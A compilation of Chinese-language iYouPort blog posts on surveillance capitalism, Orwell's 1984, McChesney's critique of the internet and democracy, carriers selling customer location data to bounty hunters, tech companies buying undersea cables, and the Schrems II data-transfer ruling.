"如果你给两个人看一段视频，同时扫描他们的大脑活动，这种活动会在不同的时间段上升和下降，这取决于这些人的感受"，范巴尔解释说，"有类似主观体验的人的大脑倾向于 '一起打勾'，即显示出同步的活动。"

反之亦然 —— 对同一视频有不同主观反应的两个人的大脑会有 "相当不同的反应"，范·巴尔说。

科学家们了解到，具有类似政治观点的人在观看带有政治色彩 —— 而不是中性 —— 的内容时，其同步性增加。(这就是范·巴尔所说的 "同镜头效应" 在起作用)。而且研究小组发现，这种同步性在那些不容忍不确定性的人中会增加。

研究的共同作者、布朗大学认知、语言和心理科学助理教授奥里尔·费尔德曼·霍尔（Oriel FeldmanHall）告诉记者，不容忍不确定性是一种人格特质，会对一个人参与风险行为的意愿和认识新朋友时的舒适度产生影响 —— 而且它会加剧费尔德曼·霍尔所说的 “神经极化”。

“两个对不确定性不容忍的人在观看相同的政治内容时表现出更大的神经同步性……，无论他们是认同民主党还是共和党”。FeldmanHall 说，“简单地说，对不确定性的不容忍导致了更多意识形态上的极化的大脑反应”。

费尔德曼·霍尔解释说，这里的好消息是，针对对不确定性的恐惧可能有助于跨越分歧。这可能有助于使政治辩论 —— 民主的 “生命之气”，正如艾森豪威尔所说 —— 更加有效。〇

This is your brain on partisan politics: New scientific study reveals key cause behind polarization

原文

70年后，还是1984 - iyouport

你我的灾难现实技术暴政监视资本主义的世界

【2019年10月16日存档】任何时候，不要把自由视为理所当然。自由是珍贵而稀罕的事物，它需要人们不断地反抗才能争取到。

1947年10月，埃里克·布莱尔（Eric Blair）以笔名乔治·奥威尔（George Orwell）写信给 Secker & Warburg 出版社的共同所有人。

在那封信中，奥威尔说，他正处于小说草稿的“最后阶段”，称其为“最可怕的混乱”。

为了完成这部小说，奥威尔在苏格兰的汝拉岛上隐居。他在第二年完成了这本书，将他最“可怕的混乱”变成了“1984”，这是20世纪最重要的小说之一。

这部小说于1949年出版，今年年满70岁。

周年纪念为所有人提供了一个机会：反思小说的意义、和最有价值但经常被忽视的教训。

BigOther

19年来，私营公司实行了前所未有的经济逻辑，监视资本主义劫持了互联网和数字技术。

- 《互联网究竟是什么》

从2000年开始被谷歌发明以来，监视资本主义经济学秘密地声称原本私有的人类经验是翻译成行为数据的免费原材料。

- 《谷歌控制的世界和监视资本主义》

这不仅是监视，还意味着诱导和操纵，不仅可以塑造商业行为，更会塑造政治行为 —— 依旧一人一票，但是，操纵者在控制人们应该如

何投票。

- 《心理操纵的秘密：”行为经济学”＋PR＝？》

当监视资本主义蓬勃发展时，民主就会沉睡。

因此，监视资本家现在拥有21世纪独特的无上权力，这与近一个世纪前的极权主义一样前所未有。

老大哥并不是一个人，而是一系列监视资本主义寡头，Zuboff 称其为“BigOther”。它是一种更为危险的东西。

Big Other 了解所有事，而其自身的行动仍然隐藏，消除了人们抵抗的权利；它破坏了人类的基本自治和自决的能力，没有自治和自决民主就无法生存。

Big Other 了解我们的一切，而我们几乎对它一无所知。

甚至这种权力的不平衡并非违法，因为至今仍没有法律来控制它，但它从根本上说绝对是反民主的。

监视资本家声称他们的方法是数字技术“不可避免的后果”。这是完全的BS。很容易想象没有监视资本主义的数字化未来，但是，没有数字技术就无法想象监视资本主义的存在。

奥威尔鄙视“在当下的征服者之前鞠躬的本能”。他坚持认为，勇气要求我们坚持自己的道德观，甚至反对那些看似无敌的势力。

语言的伟大和陷阱同在

“1984”强调的主要教训并不完全是“持续监视是噩梦”、或者“威权政府是危险的”。这些都只是对真实的陈述，但不是最重要的信息。

“1984”的核心是关于语言的；政府如何使用语言来驯服人心和混淆概念，以及公民如何抵制压迫。

奥威尔是英语语言的大师，他的遗产继续存在于他创造的一些词汇中。

即使那些没有读过“1984”的人也能知道并理解这些词汇。

“1984”使用了特有的词汇讨论监视、警察状态和威权主义，其中包括

诸如“老大哥”、“思想警察”等术语，也包括“Unperson”和“Doublethink”等等，仅举几例。

奥威尔描述的威权政府不仅仅是严厉惩罚异议 —— 它甚至试图不让任何异议存在。

当内党成员奥布莱恩折磨“1984”主角 Winston Smith 时，他举起手伸出四根手指，问 Smith 他看到了多少根手指。

当 Smith 回答 “四个！四！我还能说什么？四！” 他遭受了难以忍受的痛苦。

在 Smith 最终声称看到五根手指后，奥布莱恩强调说“五”是不够的；“‘不，Winston，这没用。你在说谎。你仍然认为是四。”

这正是威权主义的特点。

就连奥威尔自己的名字也变成了一个形容词“奥威尔式”，它在现代政治修辞中被广泛使用。

通常人们把自己的敌人都称为奥威尔式的行为，这也是奥威尔的才能的证明，每个人似乎都认为“1984”是关于他们的政治对手的，而不是自己。

政治左派在白宫和刑事司法系统中看到了许多奥威尔式的倾向；政治右派为大学校园和社交媒体公司的“思想警察”感到悲伤，将用户变成了“Unpersons”。

这些都是事实。

但是，政客们在没有奥威尔式的情况下依旧会撒谎，而封锁社交媒体账户的私营寡头公司就像是一个谋杀某人并从历史中彻底抹除他们的威权国家。

同样，被广泛感知到的学术一致性（政治正确）可能会令人窒息，但它很难与警察国家强制执行的一致性相提并论。

然而，当政府官员使用诸如“强化审讯”、“替代事实”、“附带损害”、或“极端分子”等词语时，他们自己明白，他们所描述的实际上是“折磨”、“谎言”、“无辜的平民死亡” “、和”持不同政见者。（《警察将活动家称为“国内极端分子”的五个荒谬理由》）

更加邪恶和野蛮的语言歪曲在全球泛滥。

根据活动人士和研究人员的报道，中国政府已经在“再教育”营中关押了约100万人；报告显示，该营并不是关于教育的学校；而是残酷的政治灌输场所，囚犯们被迫背诵共产党的宣传并放弃伊斯兰教。

朝鲜这个最接近体现“1984”的国家，以令人沮丧的成功程度阻止了公民为自己思考的能力。

在回忆录中，脱北者 Yeonmi Park 描述了韩语词汇原本的丰富性，并指出：“当你有更多的词语来描述世界时，你会增加思考复杂思想的能力。”

当 Park 阅读奥威尔的经典寓言小说“动物农场”时，她觉得好像奥威尔知道她来自哪里，这并不奇怪。

奥威尔不是先知，但他确定了任何成功的威权政府的必要特征。

奥威尔试图提醒人们，即使在纳粹失败后，仍然存在威胁民主的极权主义危险。

奥威尔敦促“不断的批评”，他警告任何对极权主义“免疫”的想法都不应该被视为理所当然：“如果不能不间断地抵制，极权主义可以在任何地方取得胜利。”

为了有效地控制你，它不仅可以威胁死亡、监禁或酷刑；禁止书籍和宗教是不够的。

只要国家政权不能主宰你的意识，它就会不断被推翻。

在70年后这个政治不诚实猖獗的时代里，应该记住1984年最重要的一课：国家真的可以占据你的思想。〇

原文

McChesney 警告：民主正在被互联网摧毁，他为什么这样说？ - iYouPort

监视资本主义的世界

民主反对的是霸权本身，根本无关由谁来行使霸权

「图」

「图」

烂是一种传染性病毒。当一种形式的出版物感染了烂的病毒，同一时代的其他形式出版物都会被迅速传染，从文章到影视，从新闻到图书，你能找到值得重读重看几遍的出版物 95% 以上来自至少20年前，近20多年内想要找到让人眼前一亮的作品不比殖民火星更容易些。无法不怀疑这种现象与掠夺性资本主义泛滥之间的关系：那只制造人为稀缺的背后的手，究竟是谁？

想必很多人都有这种体会。人们已经越来越多地放弃了从互联网上“获得新知”和增强公民权行使的期待，这在最初曾经是绝大多数人的期待，就在几年前还是中国社会很多积极人士的愿景。

近日一位台湾教授批评中国某著名公号平台发布的内容违背科学，恰好我对该平台有一点了解，曾经被该平台约稿，有关心理学的议题。我综合了一些临床经验并加以分析，众所周知临床经验的价值，但结果我被告知这样“不符合平台选稿模式”。然后编辑发送给我一本中文畅销书的电子版，是一本典型的鸡汤书，编辑要求从“这里面摘录”，以“整合”成贴近主题的文章。

这不是最近发生的事，不了解该平台最近的运作模式是否有变化，但这种被美名为“整合”的模式是几乎大多数中文互联网内容平台的通用，这就是为什么你会感觉同一个话题的文章完全大同小异，读一百篇和读一篇没什么区别，除了浪费的时间之外。

在所谓的“内容市场”兴起的最初，一位朋友就放弃了专业媒体月薪几万的工作，下海“做内容”，如今手下掌握着十几个平台，这些平台都

是如此运作的，即以“整合”为基础拒绝创作 —— 每篇都能刷数万点击。我曾经被他邀请协助一个新开启的与影视有关的平台，该平台由几位想赚零花钱的在校学生维护，我被分配的工作就是带学生。我发现他们对电影语言几乎一窍不通，于是花了很大力量希望教会他们如何去读电影，但那位朋友告诉我：“我们不需要这样做，只需要将其他相关评论摘录，然后拼凑起来即刻”，并补充说，“自己的思考无法保证点击量，因为我们没有挂名人大腕儿的招牌”。

我基本不会读中国网络上的文章，也没有海量阅读互联网上其他语种的文章，原因有多种，上述是其中之一。此类例据如果您需要我还能举出很多。日前一位中国编辑告诉，他约不到名人的稿子，以至于绩效正在下跌，原因是很难找到没有聘请代笔的“名人”，也就是说名人只挂名，自己不动笔，而如果代笔人对约请主题一无所知、或对利润不满意，那么稿子就会落空，而其他熟悉该主题并有可能写得很好的人如果不是同等著名的人士，则无法被约请。

你发现了什么问题吗？一种全方面的集中化魔咒，就像互联网的基础设施那样，权力被掌握在极少数人手里，而其余人最努力的结果也只是复制粘贴制造几乎雷同的垃圾。

至少十年前就有人开始认识到了互联网上虽然每个人都能发言，但只有极少人能被听取。那是在影响力造假和各种机器人水军的热潮出现之前。这是完全有悖于民主的，然而很多人却抱着“为什么那个拥权的人不是我”的心态，迷恋于这种模式，无视去中心运动，离民主越来越远。中国的掠夺性资本主义经济与互联网几乎同步，这不是偶然。

就如我们在《互联网究竟是什么？》这篇文章中所分析的那样，互联网对民主的破坏远不止“它本身不民主”这么简单。实际上那篇文章已经说的很清楚了，但我们依旧写了这篇文章而且是中文的，希望就此强调：全球只有两个国家具备充分资源能利用互联网来破坏民主，那就是美国和中国，而其他国家只能在担忧中走向偏执。

最明显的偏执就是对数据的控制，要求将数据储存在本地不是便于审查这么简单，而是一种权力争夺战。从俄罗斯到中国再到欧洲，这一趋势已经愈发明显，由于垄断巨头集中在中美两国，全球权力被中美瓜分，牺牲了其他国家的利益和福祉。也就是我们在早前的文章中多次提到高堡奇人的世界。

掌握权力的人在构建“现实”，就像柏拉图的故事那样，他们将所有人装进了洞穴，我们在看着他人的影子，并误以为那是现实。危地马拉

的活动家在多年前启动抵制“北方叙事”的运动时，甚至被不屑一顾（关于什么是北方叙事，可见这篇文章的后半部分《为什么是俄罗斯封锁 Telegram 引发连日刷屏而不是中国的大面积封锁和监控？》）

你可以说，大国历来使用通信系统以促进其经济和战略利益的，那为什么美国不应该如此使用互联网？因为这一切建立在欺骗之上，互联网的真相与其被宣传的面目截然相反。而唯一试图也最有可能打破美国垄断的国家却是中国，这就是最为荒唐的部分，在互联网层面，中美争霸的结果只能是两种不同的垄断，而没有民主。不论你支持其中任何一方，其结果没有区别。

我们只是简要梳理这一逻辑，事实上它已经被越来越多的美国学者意识到，Dan Schiller 是其中最突出的一位，Schiller 有多本著作深刻解析过这一问题。简单说就是，我们应该反对的是霸权本身，根本无关由谁来行使霸权。

政府和私营公司联手制造的大规模监控和对知识的垄断、商品化和货币化，贫穷国家和富国之间不公平的资金流动以及对文化多样性的侵蚀，那些具有中心影响力的人利用它来巩固权力，并以支持自由化的幌子建立新的全球控制和剥削制度，同时实际上以牺牲公众为代价来加强大公司的主导地位和盈利能力。（正如 Dan Schiller 所指出的，美国基本上否认存在与互联网相关的任何个人隐私权。中国更是如此）

说实话 “Digital Disconnect“这本书的大部分内容并不是很新的见解，在作为激进派的我们眼中只能算是中等水平，类似书籍还有很多，但是 Robert McChesney 在此领域很著名，而且是位高产作家，换句话说就是，他都肯定了互联网在破坏民主，那么这一结论已经不需要太大争议了。

以下是对该书的简评。

「图」

「图」

很多人应该早已注意到了这样一种现象，即不论你从哪个网站或报纸起步，在同一时间段内你能读到的新闻大致都是一样的，甚至评论都似乎如出一辙，就像从同一家代理商那儿拷贝过来的。你可能认为这种现象太常见了以至于微不足道，但它的确大有深意，关系到民主在互联网时代的危机。

对此，Robert McChesney 在他最近出版的新书 “Digital Disconnect“中提出了更好的分析。McChesney 是伊利诺伊大学厄巴纳 — 香槟分校传播系的教授，专攻通信的历史和政治经济学。他是20多本书的作者或共同作者，其中最著名的包括：The Endless Crisis: How Monopoly-Finance Capital Produces Stagnation and Upheaval from the USA to China；The Political Economy of Media: Enduring Issues, Emerging Dilemmas；Communication Revolution: Critical Junctures and the Future of Media；Rich Media, Poor Democracy: Communication Politics in Dubious Times 等，他也是 Free Press 的联合创始人。

许多人曾经认为互联网是改善人权、生活条件、经济、少数民族权利等关键领域的“强大力量”。但实际上，互联网一直在被用来侵蚀隐私、增加经济权力高度集中，导致收入不平等加剧。

有些人至今认为民主国家会利用互联网来服务于人民的利益，但对于互联网而言似乎并非如此：它主要用于服务少数非常富有的个人的利益，或者某些地缘经济和地缘政治利益（这是一个文档链接，如果您不希望下载的话就不需要点击）。正如 McChesney 指出的那样：“互联网这个被大肆宣传的增强消费能力和竞争的冠军已经成为经济史上最大的垄断企业之一”，这具有极其讽刺的意味。

这种利用技术来支持特殊利益而不是普遍利益的趋势并不是互联网所独有的。正如 Josep Ramoneda 提出的那样：“我们期望政府将市场推向民主，但事实证明他们所做的就是让民主适应市场，即逐渐消解民主。”

McChesney 的书解释了为什么会这样：尽管有很大的希望和增加民主的潜力，但各种因素使互联网成为了一种实际上对民主极具破坏性的、仅有利于特殊利益的力量。

McChesney 提醒我们民主是什么，引用亚里士多德：“当穷人而不是财富拥有者成为统治者的时候，就是民主……自由和平等主要存在于民主制度中，当所有人都尽可能分享政治权利时，他们将获得最佳利益“。

他还引用了美国总统林肯1861年反对专制的警告。McChesney 认为，对林肯来说，不允许富人对政府施加不正当的影响是必要的。

然而，如今我们在互联网上看到的是截然相反的状况：以大型私营公司的形式集中财富，这些公司对公共政策问题施加越来越大的影响，

甚至公开呼吁能让他们与当选者拥有平等决策权的治理制度。简单说就是，财富可以等同于民主选举的结论。当前的互联网治理机制被视为成功的典范，而实际上他们并未成功实现互联网的社会承诺。已经有越来越多的人认为这种系统并不是民主的。

对于那些以不民主的方式管理民主的技术，它有什么意义呢？当然，从“最大化股东利益”的角度来看，它具有商业意义。也仅此而已。

McChesney 解释了过度自由放任政权中通常被称为新自由主义的利润最大化如何导致权力和财富集中度的增加、社会不平等，更糟糕的是新闻媒体受到侵蚀，导致民主受到侵蚀。

没有比美国能更清楚地看到这一点的了，美国是 **McChesney** 这本书的焦点。互联网不仅侵蚀了美国自己的民主，而且还被美国用来推进其地缘政治目标; 并且，几乎是侮辱性地，它被宣传成了“促进民主的手段”。美国可以也应该促进民主，但很可惜它并没有这样做。（如果您对此有怀疑，那么推荐这本书：《真正的网络战：互联网自由的政治经济学》提前说明这本书写得时间不算很近，当下的状况已经在这本书的结论的基础上更加恶化了，因为技术的进步，也就是监控和操纵之能力的进步）

本书首先指出了数字革命的重要性，并总结了那些将其视为良好的引擎（观察者）与那些指出其局限性及其一些负面影响（怀疑者）的人的观点。McChesney 说的很对，对数字革命的正确分析必须以政治经济学为基础。由于数字革命发生在资本主义制度中，它必然受到该制度的制约，并且必然会影响该制度。

这本书的第一章专门解释了资本主义如何以及为何不等于民主：相反，资本主义可以侵蚀民主，当代美国就是一个很好的例子。为了更深入地探讨这些问题，McChesney 从传播政治经济学的角度来看待互联网。

他展示了互联网如何深刻地破坏了传统媒体，以及与其修辞相反，它恰恰是减少了竞争和选择 —— 因为新技术的规模经济和网络效应不可避免地有利于集中，从而创造了自然垄断。

随后，这本书记录了最初的非商业性、公共补贴的互联网，如何转变成了一个显著商业化的私有资本主义制度，在“资本主义”最糟糕的意义上：大公司的支配，垄断市场，无休止的广告，激烈的政治游说，以及腐败的任人唯亲。

在解释了一般情况后，McChesney 专注于在新闻业和媒体身上发生的事。众所周知，这是一场灾难：没有人能够为可敬的在线新闻找到可行的商业模式。正如 McChesney 正确指出的那样，充满活力的新闻业是民主的先决条件：如果人们无法获得有效信息，他们如何做出明智的选择？

互联网本应该扩大我们的信息来源，然而可悲的是，它并没有做到，就如这本书中所描述的 — — 你能看到铺天盖地的信息消防栓扑面而来，但你几乎不会在这里得到提升。

然而，希望还是有的：McChesney 提出了如何处理这个问题的具体建议，借鉴欧洲运作良好的民主国家的实际经验。

这本书继续呼吁立刻采取具体行动，创造这一针对数字革命的革命，使其回归起源：基于人民，为了人民。

McChesney 的提议与某些民间社会组织的行动一致，毫无疑问会在互联网社会论坛中进行更充分的讨论，这一倡议的目的正是按照 McChesney 所概述的方式彻底改变数字革命。

任何了解威胁自由开放互联网和民主本身的许多问题的人都会在《Digital Disconnect》这本书中发现一些值得学习的东西，不仅仅是因为它经过了深入研究和精辟的分析，还因为，它为如何解决这些问题提供了具体的建议。〇

原文

三大运营商一直在私下出售用户最关键的隐私数据 - iYouPort

监视资本主义的世界

赏金猎人是一种越来越赚钱的大生意..... ⚠ 他们可以高价购买到关于您的致命信息，于是他们可以轻松找到他们的客户想要的任何人

「图」

「图」

Motherboard 透露，AT＆T，T-Mobile 和 Sprint 正在出售他们客户的实时位置数据，这些数据通过复杂的公司网络传播，直到最终落入赏金猎人的手中。主板还可以从赏金猎人手中以300美元的价格在黑市上购买到 T-Mobile 手机的实时位置。

大约250名赏金猎人和相关企业可以访问 AT＆T，T-Mobile 和 Sprint 客户位置数据，其中一家保释金公司使用手机定位服务超过18,000次，其他人使用它高达数千或数万次，根据从一家名为CerCareOne的公司获得的内部文件，这是一家现已解散的位置数据销售商，这些文件不仅列出了有权访问数据的公司，还列出了这些公司所针对的特定电话号码。

在某些情况下，被销售的数据比上个月曝光的数据更敏感，主板估计是基于手机连接的信号塔的位置。CerCareOne 出售了信号塔数据，还向赏金猎人出售了高灵敏度和准确的 GPS 数据; 这意味着可以高度准确地定位某人，以便了解他们在建筑物内的位置。根据主板获得的使用条款文件，该公司通过让客户同意“保持 CerCareOne.com的存在保密”，以近乎完全秘密的方式运营了超过5年。

据熟悉 CerCareOne 运营的两位独立消息人士称，其中一些赏金猎人随后将位置数据转售给了未经授权处理这些数据的人。

这一消息显示，公民的敏感位置数据所产生的利益对于赏金猎人来说

是多么的广泛。这种易于访问性大大增加了滥用的风险。

“这个丑闻不断恶化。运营商向客户保证，位置跟踪滥用是孤立事件。但是。现在看来，数百人可以跟踪我们的手机，并且他们已经这么做了多年，“俄勒冈州参议员 Ron Wyden 说，“这不仅仅是一种疏忽—这是对美国人安全和保障的公然无耻。”

至少在2012年至2017年底关闭之前，CerCareOne 一直在允许赏金猎人和保释代理人找到手机的实时位置。据熟悉该公司的消息人士称，该公司有时每部手机的收费高达1,100美元。

与 Motherboard 之前调查的公司一样，CerCareOne 的实时位置数据首先从电信公司流出，然后流向一个名为 Locaid 的所谓位置聚合器。从那里，Locaid 将数据访问权出售给了许多不同的公司，包括 CerCareOne，后者又将其出售给自己的客户。Locaid 于2015年被一家名为 LocationSmart 的公司收购。主板获得的文件显示，LocationSmart 在获得 Locaid 后继续向 CerCareOne 出售数据，而 LocationSmart 向主板确认了该数据。

通常，CerCareOne 的电话定位服务—业内称为电话 ping—使用来自手机信号塔的数据，并为使用这些数据的赏金猎人提供谷歌地图风格的界面。

并且，根据两个独立消息来源提供的文件和截图显示，CerCareOne 客户可获得的一些数据包括手机的“辅助 GPS”或 A-GPS 数据。A-GPS 使用手机的 GPS 芯片以及从电信网络收集的信息来定位电话。根据联邦通信委员会的电信文件，它用于定位在紧急情况下拨打911的手机，它比单独的手机 GPS 芯片运行得更快，后者有时可能需要几分钟才能连接到卫星。

Sprint 发言人没有直接回答该公司是否曾销售过 A-GPS 数据。

“芯片由设备制造商插入，每个主要运营商都提供包含芯片的设备。事实上，FCC要求设备启用GPS，“该公司在一封电子邮件中说，“这是为客户提供共享服务，支持GPS的地图，路边援助和9–1–1定位服务等服务的必要步骤。”

CerCareOne 的电话跟踪服务并不是赏金猎人和保释代理人的一次性工具。通过主板获得的特定客户电话 ping 列表长达450页，在一年多的活动中有超过18,000个个人电话位置请求。发起ping的保释金公司没有回答媒体的问题。

另一组数据长度超过250页，涵盖大约10,000个电话ping。另一份不同赏金猎人活动的清单包括不到一年内的近1,000个电话位置请求; 第三个超过4500个ping。

根据文件中包含的时间戳，位置请求从2012年延长到2017年，有些手机在几分钟、几小时和几天内被连续多次快速定位。

“这种滥用的规模令人愤慨，”电子前线基金会竞选组织网络安全主管 Eva Galperin 在一封电子邮件中告诉 Motherboard。

两位消息人士称，目标手机没有收到任何短信警告他们正在被跟踪。这样就可以在没有目标知情或同意的情况下跟踪电话。

“这是一个国家安全和个人安全问题，”联邦通信委员会委员 Jessica Rosenworcel 在一封电子邮件中告诉 Motherboard。“联邦通信委员会需要紧急行动。自5月以来，已有媒体报道称出售消费者位置数据。“

无论是跟踪用户一举一动的主要智能手机操作系统，还是向对冲基金销售用户位置数据的天气应用程序，或允许中间人向赏金猎人出售智能手机位置数据的手机提供商，我们通常会看到公司滥用消费者的信任，然而我们目睹相关机构—联邦通信委员会和联邦贸易委员会—根本没能解决这些问题。

EFF 的 Galperin 表示，“很高兴该公司被关闭，但我想知道我们还有多少个 CerCareOnes。”

Hundreds of Bounty Hunters Had Access to AT&T, T-Mobile, and Sprint Customer Location Data for Years, Documents show that bail bond companies used a secret phone tracking service to make tens of thousands of location requests. Galperin from the EFF said that she’s “glad that the company is shut down, but that just leaves me to wonder how many more CerCareOnes we have out there.”

原文

买断互联网 - iYouPort

互联网自由-Resist监视资本主义的世界

他们一直在控制内容、控制你有机会认识什么样的人、有可能得到什么样的知识，他们一直在把我们每个人的私人生活转变为他们自己的巨额利润，把全球人变成了数字庄园里的奴隶。现在，正是他们，正在买断互联网本身。这意味着什么？

「图」

「图」

他们一直在控制内容、控制你有机会认识什么样的人、有可能得到什么样的知识，他们一直在把我们每个人的私人生活转变为他们自己的巨额利润，把全球人变成了数字庄园里的奴隶。现在，正是他们，需要买断互联网本身。这意味着什么？

谷歌从其云平台赚取了数十亿美元。现在，该公司正在利用这数十亿美元购买互联网本身—— 或至少是构成互联网骨干网的海底光缆。

2月，该公司宣布打算继续开发 Curie cable，这是一条从加利福尼亚到智利的新海底线路。这将是由一家大型非电信公司建造的第一条私人洲际电缆。在过去几年里谷歌已经完全资助了其中的一些洲际电缆。

不是只有谷歌在买断互联网。从历史上看，海底光缆一直由私营公司集团（大多数是电信供应商）所拥有，但2016年大规模海底光缆业开始蓬勃发展，而这一次，买家都是内容提供商。像 Facebook、微软和亚马逊这样的公司似乎都在和谷歌争抢着对互联网支配地位的渴望。

我一直在观察这种趋势的发展，最近这些巨头的动作肯定是令人担忧的。

科技寡头们对互联网骨干网的所有权将产生深远的影响这并不陌生。消费者一直在放弃控制权—— 放弃隐私人权。

我们正在进入互联网成熟的下一个阶段：只有那些那些耀眼的巨头才能在媒体上真正获胜。

消费者很快就需要确定他们究竟可以在这些巨头公司身上建立多少信心以推测明天的互联网是什么样。而这些监视资本家正在窃取我们的私人生活并将其转化为不断增长的利润。这事你的确需要仔细权衡。每个人都需要。

这些不起眼的电缆横跨全球的海底，传输95–99%的国际数据。总而言之，目前使用的海底电缆长度超过700,000英里。

虽然过去的电缆制造商利用电缆所有权来销售带宽，但现在，内容提供商正在有目的地建造私人电缆。

互联网通常被描述为“云”。实际上，它是一系列潮湿易碎的管子，Google 即将拥有其惊人的数量。这些数字不言自明; 当 Curie cable 在今年晚些时候完成时，谷歌将在国际上拥有10,433英里的海底电缆。

当 Facebook、微软和亚马逊这些财团都加入进来时，总数将达到 63,605 英里。

当您观察过去十年中发生的流量增长时，就会发现这种海底电缆的所有权问题非常有意义。

在大西洋和太平洋地区，内容提供商占2017年总需求的一半以上。在过去10年中，内容提供商数据使用率从不到8%飙升至接近40%。

值得注意的是，非洲和中东的统计数据明显较低，这表明发达国家对视频内容和云应用程序的渴望是这一趋势的更大推动因素。这得到了各国之间国际带宽总体使用数据的支持。 2017年，印度仅使用了 4,977 Mbps 的国际带宽；而同年，美国使用了惊人的 4,960,388 Mbps。

就像网络中立的消除一样，互联网基础设施私有化只会降低价格。但我们现在面临的问题是道德问题：我们想要私人互联网吗？或者说是否希望保留迄今为止所拥有的“狂野西部”式的网络？

不幸的是，问题并不像在“好”和“坏”之间画一条线那么简单。边缘网

络和零费率等实践对 Netflix 和 AT＆T 等公司的商业模式至关重要—它们在技术上也不违反规则，最终可以为消费者提供更好的服务。

但是，是时候问这个问题了：如果那些因审查和监视而闻名的内容服务也控制着互联网骨干网络，互联网将会是个什么样子。私有化基础设施可能在短期内为消费者带来无尽的好处，但是，我们难道就不用考虑成本吗？

Google and other tech giants are quietly buying up the most important part of the internet. Google isn't alone. Corporations like Facebook, Microsoft, and Amazon all seem to share Google's aspirations for bottom-of-the-ocean dominance.

原文

从斯诺登到中国 ... - iyouport

关于高堡奇人地缘政治监视资本主义的世界

【2020年11月18日存档】这份文稿是右翼的思路。但它的确提供了此案前后的一些背景细节，这是人们应该了解的时局

如果您尚未了解本文主题的背景故事，可以在这里看到《跨大西洋数据交换的结束实际上提供了一个机会，如果美国想抓住它的话》。

当法院宣布对 Schrems I 案的判决时，评论员将这一结果描述为一场“地震”，将被称为 “安全港条款” 的脆弱的跨大西洋数据流动法律框架抛在一边。

现在，法院在 Schrems II 案中的判决已经推翻了第二个框架，即 “Privacy Shield 隐私盾”。本文将重述 Schrems I 案判决后对美国国会的建议：(1) 制定全面的隐私法，(2) 建立独立的数据保护机构，(3) 批准欧洲委员会第108号公约。

但这篇文章也认为，与五年前相比，今天美国和欧洲在数据保护的共同事业中 “更加一致” 了，因为背景已经从 Edward Snowden 的披露转向了中国政府的监控野心。

因此作者认为，共同的方法符合这两个主要贸易伙伴的利益。文章称，今天，在加强民主体制的基础方面，欧美也有共同的紧迫性。

作者 Marc Rotenberg，迈克尔·杜卡基斯研究所（Michael Dukakis Institute）的人工智能与数字政策中心主任。下文中将使用第一人称陈述。您可以在这里下载这份文档：Schrems II, from Snowden to China: Toward a new alignment on transatlantic data protection

1、SCHREMS I

「图」

在 Schrems I 案判决后，我于2015年在美国国会作证。

我在发言中解释说，法院的判决并不令人意外。多年来，大西洋两岸的学者、欧洲议会成员和消费者团体都对所谓的 “安全港” 框架 —— 欧洲人向美国转移个人数据的法律依据 —— 表示担忧。

从欧洲人的角度来看，数据转移协议未能提供欧盟数据保护条例 (后来成为 GDPR) 所提供的基本保护承诺。“安全港条款” 的缺陷至少可以从两个方面来衡量。首先，与欧盟的数据保护条例相比，安全港条款严重缺乏实质性的权利；第二，美国并没有专门负责执行数据保护的机构。

第一个问题可以部分解释为随着监视资本主义数字经济出现的两种截然不同的隐私观点。

- 欧洲能摆脱美国和中国的监控世界吗《阿姆斯特丹领导对监视资本主义的斗争》

在欧盟方面，个人数据的收集和使用，无论是通过互联网还是通过办公楼里的电脑，都没有什么区别。把权利分配给数据 “主体”，把义务分配给数据 “控制者” 和 “处理者” 的基本框架都适用于这两种环境。这也是美国现代所谓的隐私法的做法。这些美国隐私法反映了我们通常所说的 “公平信息做法”，即 与收集和使用个人数据有关的权利和责任分配。

FIP 原则也称为公平资讯惯例为美国的隐私法提供了基础，例如 1974 年的隐私法，对联邦机构收集和使用个人资料进行了规定。 这个基本架构亦见于著名的国际隐私文书，例如经合组织 1980 年的 Privacy Guidelines。

但是，互联网经济使一些人相信，基于市场的激励措施可以 “加强” 对隐私的保护，不再需要为处理个人数据制定基线规则。所以最初的所谓 “安全港” 安排，主要是在美国谈判者的敦促下，将 “通知（用户应知情）” 和 “选择（用户可退出）” 提升为隐私概念，并不是因为它们反映了隐私权利或责任，而是，因为它们将使 *基于市场* 的隐私保护观点成为可能。

至于第二个问题，体制上的差距也很大。与所有欧盟成员国不同，美国没有一个明确负责数据保护的联邦机构。其实际后果是，美国没有任何机构具有执行数据保护义务的任务或法律权限。联邦贸易委员会是一个消费者保护机构，它根据其审议 “不公平或欺骗性贸易做法”

的权力，设法审查隐私投诉。

FTC第5条允许该机构对违反其自身隐私政策条款的公司进行调查，并在某些情况下对违反基本的安全义务的行为进行调查，但是，该机构无法执行基本的隐私标准。一个相关的问题是，联邦贸易委员会对投诉的审查是自由裁量的；即使有成千上万的投诉，也不能保证该机构会采取行动。

欧盟评论员、学术界和消费者团体反复解释说，“安全港条款” 未能提供满足《数据保护条例》第25条所要求的 “充分性” 认定的保护，因为美国缺乏全面的隐私法和独立的联邦机构。

所谓的 “安全港条款” 其存在的问题也被美国方面理解为消除了美国更新本国隐私法的重要动力。随着互联网的兴起，美国联邦隐私法的制定速度已经放缓，但是，个人数据的收集速度却提升了。

事实上，直到911袭击事件使美国走上了 “先下手为强” 的大规模监控之路，人们才意识到美国需要一部全面的隐私法。甚至联邦贸易委员会主席也曾敦促美国推进立法工作。

- 详细内容见《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》

消费者团体和监管专家认为，欧盟数据保护指令将产生带动力，促使美国立法者更新其国内隐私法，使美国消费者受益。

这曾经被描述为 “加州效应”，因为在环境领域，加州排放标准的提高导致汽车制造商生产更清洁的汽车，使其他州的消费者受益。所以，理论上，”布鲁塞尔效应” 也应该提高美国的数据保护标准，如果美国想要更新其隐私法，以获得充分性的认定，允许欧洲人的个人数据继续自由流向美国互联网公司。

但是，所谓的 “安全港条款” 提供了一个绕过这种监管动态的方法，允许公司简单地自我证明符合模糊的原则，同时推迟了对美国隐私法进行任何有意义的修改。

斯诺登的披露对美国在欧洲的盟友打击特别大，他们曾经认为自己站在情报收集企业的同一阵营，没想到他们一直在被美国密切监视。这些披露也给奥巴马政府带来了重大问题。

而 Schrems 在向爱尔兰数据保护机构提出的第一份申诉中就指出了这一关键问题，他指出，欧洲人的个人数据提供给美国公司，最终落入

美国国家安全局手中，没有得到任何法律保护。Schrems 认为，爱尔兰数据保护委员会有义务中止向美国转移个人数据。

